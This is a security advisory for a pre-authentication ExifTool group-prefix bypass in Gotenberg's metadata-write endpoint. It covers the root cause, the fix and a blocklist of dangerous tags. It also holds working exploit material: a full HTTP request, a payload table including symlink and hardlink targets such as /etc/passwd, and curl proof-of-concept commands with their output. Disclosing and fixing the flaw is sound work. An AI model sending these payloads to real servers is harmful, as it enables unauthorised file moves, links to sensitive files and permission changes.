CVE-2026-42590: Gotenberg ExifTool Group-Prefix Bypass
Overview
| CVE | CVE-2026-42590 |
| Advisory | GHSA-7v3r-m9c8-r855 |
| Component | pkg/modules/exiftool/exiftool.go (WriteMetadata) |
| Affected | github.com/gotenberg/gotenberg/v8 ≤ 8.29.1 |
| Class | CWE-184 (Incomplete List of Disallowed Inputs) |
| CVSS v3.1 | 8.2 (High) -- AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L |
| Found by | Lukas Johannes Moeller (@JohannesLks) |
TL;DR
Gotenberg's metadata-write endpoint feeds attacker-supplied keys into ExifTool. The vulnerable blocklist rejects four dangerous pseudo-tags by exact name: FileName, Directory, HardLink, SymLink. ExifTool, however, accepts a group prefix (File:FileName, x:FileName, ...) and strips it internally. Any prefix sneaks past the comparison and the underlying rename / move / symlink action still runs. No authentication is required in the default deployment; the metadata field is part of every PDF-engine endpoint.
Root Cause
WriteMetadata in pkg/modules/exiftool/exiftool.go validates keys with a permissive character class and an exact-name blocklist:
// safeKeyPattern allows colons -- File:FileName passes
var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+$`)
dangerousTags := []string{"FileName", "Directory", "HardLink", "SymLink"}
for key := range metadata {
for _, tag := range dangerousTags {
if strings.EqualFold(key, tag) { // exact-string only
delete(metadata, key)
}
}
}
ExifTool's SetNewValue in Writer.pl peels the group off before the tag table lookup:
($options{Group}, $tag) = ($1, $2) if $tag =~ /(.*):(.+)/;
So Gotenberg sees a key it does not recognise (File:FileName) while ExifTool sees the canonical pseudo-tag (FileName). Same write, different views, blocklist evaded.
Reachability
The metadata-write surface is exposed on every PDF-engine route, e.g. /forms/pdfengines/metadata/write. Authentication in default Gotenberg is off; --api-enable-basic-auth is opt-in. A single multipart/form-data POST is enough:
POST /forms/pdfengines/metadata/write HTTP/1.1
Content-Type: multipart/form-data; boundary=---X
-----X
Content-Disposition: form-data; name="files"; filename="victim.pdf"
Content-Type: application/pdf
%PDF-1.0...
-----X
Content-Disposition: form-data; name="metadata"
{"File:Directory":"/tmp/poc_evidence"}
-----X--
ExifTool then runs:
exiftool -"File:Directory=/tmp/poc_evidence" /work/<uuid>.pdf
and the file is moved out of Gotenberg's working directory before the response is built.
Working payloads
| Metadata key | ExifTool effect |
|---|---|
File:FileName=evil.pdf |
Renames the working file |
x:FileName=evil.pdf |
Same -- any prefix is accepted |
File:Directory=/tmp |
Moves the file to /tmp |
File:HardLink=/etc/passwd |
Creates a hard link |
a:SymLink=/etc/passwd |
Creates a symbolic link |
FilePermissions=rwxrwxrwx |
chmod -- not in the blocklist at all |
FileUserID / FileGroupID |
chown -- not in the blocklist at all |
Live proof (excerpt)
=== CONTROL: direct FileName blocked (expected: 500) ===
curl -F 'files=@victim.pdf' \
-F 'metadata={"FileName":"pwned.pdf"}' \
http://localhost:3000/forms/pdfengines/metadata/write
-> HTTP 500 (direct dangerous tag rejected by the blocklist)
=== BYPASS: File:Directory -- file moved out of working dir ===
curl -F 'files=@victim.pdf' \
-F 'metadata={"File:Directory":"/tmp/poc_evidence"}' \
http://localhost:3000/forms/pdfengines/metadata/write
-> HTTP 404 (file gone, Gotenberg cannot return it)
$ ls /tmp/poc_evidence
-rw-r--r-- 1 gotenberg gotenberg 295 Apr 11 09:05 e3805f9f-...-cdb8d0903e43.pdf
Impact
- Pre-auth (default config) arbitrary file rename, move, symlink, and hardlink within the Gotenberg container.
- In volume-mounted or non-containerised deployments the writable scope expands beyond
/work: an attacker can move processed PDFs to publicly served paths, overwrite other users' in-flight conversions, or set up a symlink for the next request to read attacker-chosen files (/etc/passwd, mounted secrets, ...). FilePermissions/FileUserID/FileGroupIDare unblocked in any form -- mode and ownership of files reachable by the Gotenberg user can be modified via the same endpoint.- No code execution primitive demonstrated; impact stays in the integrity / availability bucket. CVSS:8.2 reflects integrity-high with low availability impact.
Fix
Strip ExifTool group prefixes before the blocklist comparison, and extend the blocklist to cover the file-attribute pseudo-tags:
baseKey := key
if idx := strings.LastIndex(key, ":"); idx != -1 {
baseKey = key[idx+1:]
}
for _, tag := range dangerousTags {
if strings.EqualFold(baseKey, tag) {
delete(metadata, key)
}
}
dangerousTags := []string{
"FileName", "Directory", "HardLink", "SymLink",
"FilePermissions", "FileUserID", "FileGroupID",
}
Upstream fix tracked in GHSA-7v3r-m9c8-r855.